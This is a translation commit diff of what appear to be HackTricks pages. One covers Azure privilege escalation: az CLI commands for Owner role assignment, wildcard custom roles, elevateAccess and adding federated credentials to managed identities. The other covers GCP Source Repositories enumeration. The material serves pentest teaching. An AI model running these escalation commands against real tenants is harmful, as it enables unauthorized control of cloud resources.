Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2025-01-09 01:06:17 +00:00
parent 655a6c1ffc
commit 03fd07629f
2 changed files with 63 additions and 46 deletions

View File

@@ -4,7 +4,7 @@
## Azure IAM
詳細については、次を確認してください:
Fore more information check:
{{#ref}}
../az-services/az-azuread.md
@@ -12,38 +12,45 @@
### Microsoft.Authorization/roleAssignments/write
この権限は、特定のスコープに対してプリンシパルに役割を割り当てることを許可し、攻撃者が自分自身により特権のある役割を割り当てることで権限を昇格させることを可能にします:
This permission allows to assign roles to principals over a specific scope, allowing an attacker to escalate privileges by assigning himself a more privileged role:
```bash
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
```
### Microsoft.Authorization/roleDefinitions/Write
この権限は、ロールによって付与された権限を変更することを許可し、攻撃者が自分に割り当てられたロールに対してより多くの権限を付与することで特権を昇格させることを可能にします。
This permission allows to modify the permissions granted by a role, allowing an attacker to escalate privileges by granting more permissions to a role he has assigned.
Create the file `role.json` with the following **content**:
次の**内容**で`role.json`ファイルを作成します:
```json
{
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"]
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"]
}
```
その後、前の定義を呼び出してロールの権限を更新します:
Then update the role permissions with the previous definition calling:
```bash
az role definition update --role-definition role.json
```
### Microsoft.Authorization/elevateAccess/action
この権限は、特権を昇格させ、任意のプリンシパルにAzureリソースへの権限を割り当てることを可能にします。これは、Entra IDのグローバル管理者に与えられることを意図しており、彼らがAzureリソースに対する権限を管理できるようにします。
This permissions allows to elevate privileges and be able to assign permissions to any principal to Azure resources. It's meant to be given to Entra ID Global Administrators so they can also manage permissions over Azure resources.
> [!TIP]
> 昇格呼び出しが機能するためには、ユーザーがEntra IDのグローバル管理者である必要があると思います。
> I think the user need to be Global Administrator in Entrad ID for the elevate call to work.
```bash
# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
@@ -51,22 +58,27 @@ az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Au
# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
```
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
この権限は、管理されたアイデンティティにフェデレーテッド資格情報を追加することを許可します。例えば、リポジトリ内のGithub Actionsに管理されたアイデンティティへのアクセスを付与します。次に、**ユーザー定義の管理されたアイデンティティにアクセスすることを許可します**。
This permission allows to add Federated credentials to managed identities. E.g. give access to Github Actions in a repo to a managed identity. Then, it allows to **access any user defined managed identity**.
Example command to give access to a repo in Github to the a managed identity:
管理されたアイデンティティにGithubのリポジトリへのアクセスを付与するための例のコマンド:
```bash
# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,37 +1,38 @@
# GCP - ソースリポジトリの列挙
# GCP - Source Repositories Enum
{{#include ../../../banners/hacktricks-training.md}}
## 基本情報 <a href="#reviewing-cloud-git-repositories" id="reviewing-cloud-git-repositories"></a>
## Basic Information <a href="#reviewing-cloud-git-repositories" id="reviewing-cloud-git-repositories"></a>
Google Cloud Source Repositoriesは、完全に機能し、スケーラブルな**プライベートGitリポジトリサービス**です。これは、**完全に管理された環境でソースコードをホストする**ように設計されており、他のGCPツールやサービスとシームレスに統合されます。チームがコードを保存、管理、追跡するための協力的で安全な場所を提供します。
Google Cloud Source Repositories is a fully-featured, scalable, **private Git repository service**. It's designed to **host your source code in a fully managed environment**, integrating seamlessly with other GCP tools and services. It offers a collaborative and secure place for teams to store, manage, and track their code.
Cloud Source Repositoriesの主な機能は次のとおりです:
Key features of Cloud Source Repositories include:
1. **完全管理されたGitホスティング**Gitの一般的な機能を提供し、通常のGitコマンドやワークフローを使用できます。
2. **GCPサービスとの統合**Cloud BuildPub/SubApp Engineなどの他のGCPサービスと統合され、コードからデプロイメントまでのエンドツーエンドのトレーサビリティを提供します。
3. **プライベートリポジトリ**:コードが安全かつプライベートに保存されることを保証します。Cloud Identity and Access Management (IAM)ロールを使用してアクセスを制御できます。
4. **ソースコード分析**他のGCPツールと連携して、ソースコードの自動分析を提供し、バグ、脆弱性、または悪いコーディングプラクティスなどの潜在的な問題を特定します。
5. **コラボレーションツール**:マージリクエスト、コメント、レビューなどのツールを使用して、協力的なコーディングをサポートします。
6. **ミラーサポート**Cloud Source RepositoriesをGitHubBitbucketにホストされたリポジトリと接続でき、自動同期を可能にし、すべてのリポジトリの統一ビューを提供します。
1. **Fully Managed Git Hosting**: Offers the familiar functionality of Git, meaning you can use regular Git commands and workflows.
2. **Integration with GCP Services**: Integrates with other GCP services like Cloud Build, Pub/Sub, and App Engine for end-to-end traceability from code to deployment.
3. **Private Repositories**: Ensures your code is stored securely and privately. You can control access using Cloud Identity and Access Management (IAM) roles.
4. **Source Code Analysis**: Works with other GCP tools to provide automated analysis of your source code, identifying potential issues like bugs, vulnerabilities, or bad coding practices.
5. **Collaboration Tools**: Supports collaborative coding with tools like merge requests, comments, and reviews.
6. **Mirror Support**: Allows you to connect Cloud Source Repositories with repositories hosted on GitHub or Bitbucket, enabling automatic synchronization and providing a unified view of all your repositories.
### OffSec情報 <a href="#reviewing-cloud-git-repositories" id="reviewing-cloud-git-repositories"></a>
### OffSec information <a href="#reviewing-cloud-git-repositories" id="reviewing-cloud-git-repositories"></a>
- プロジェクト内のソースリポジトリの設定には、Cloud Pub/Subメッセージを公開するために使用される**サービスアカウント**があります。デフォルトで使用されるのは**Compute SA**です。ただし、**ソースリポジトリからそのトークンを盗むことは不可能だと思います**。これはバックグラウンドで実行されているためです。
- GCP Cloud Source RepositoriesのWebコンソール内のコードを見るには、コードが**デフォルトでマスターブランチ内にある必要があります**。
- **Github**または**Bitbucket**のリポジトリを指す**ミラーCloudリポジトリ**を**作成することもできます**(これらのプラットフォームへのアクセスを提供します)。
- **GCP内からコードを記述およびデバッグすることが可能です**。
- デフォルトでは、ソースリポジトリは**プライベートキーがコミットにプッシュされるのを防ぎます**が、これを無効にすることができます。
- The source repositories configuration inside a project will have a **Service Account** used to publishing Cloud Pub/Sub messages. The default one used is the **Compute SA**. However, **I don't think it's possible steal its token** from Source Repositories as it's being executed in the background.
- To see the code inside the GCP Cloud Source Repositories web console ([https://source.cloud.google.com/](https://source.cloud.google.com/)), you need the code to be **inside master branch by default**.
- You can also **create a mirror Cloud Repository** pointing to a repo from **Github** or **Bitbucket** (giving access to those platforms).
- It's possible to **code & debug from inside GCP**.
- By default, Source Repositories **prevents private keys to be pushed in commits**, but this can be disabled.
### Cloud Shellで開く
### Open In Cloud Shell
Cloud Shellでリポジトリを開くことが可能で、次のようなプロンプトが表示されます
It's possible to open the repository in Cloud Shell, a prompt like this one will appear:
<figure><img src="../../../images/image (325).png" alt=""><figcaption></figcaption></figure>
これにより、Cloud Shellでコードを記述およびデバッグできますこれによりcloudshellが侵害される可能性があります
This will allow you to code and debug in Cloud Shell (which could get cloudshell compromised).
### Enumeration
### 列挙
```bash
# Repos enumeration
gcloud source repos list #Get names and URLs
@@ -42,7 +43,7 @@ gcloud source repos get-iam-policy <repo_name>
gcloud source repos clone <REPO NAME>
gcloud source repos get-iam-policy <REPO NAME>
... git add & git commit -m ...
git push --set-upstream origin master
git push --set-upstream origin $BRANCH
git push -u origin master
# Access via git
@@ -50,16 +51,20 @@ git push -u origin master
git clone ssh://username@domain.com@source.developers.google.com:2022/p/<proj-name>/r/<repo-name>
git add, commit, push...
```
### 権限昇格とポストエクスプロイト
### Privilege Escalation & Post Exploitation
{{#ref}}
../gcp-privilege-escalation/gcp-sourcerepos-privesc.md
{{#endref}}
### 認証されていない列挙
### Unauthenticated Enum
{{#ref}}
../gcp-unauthenticated-enum-and-access/gcp-source-repositories-unauthenticated-enum.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}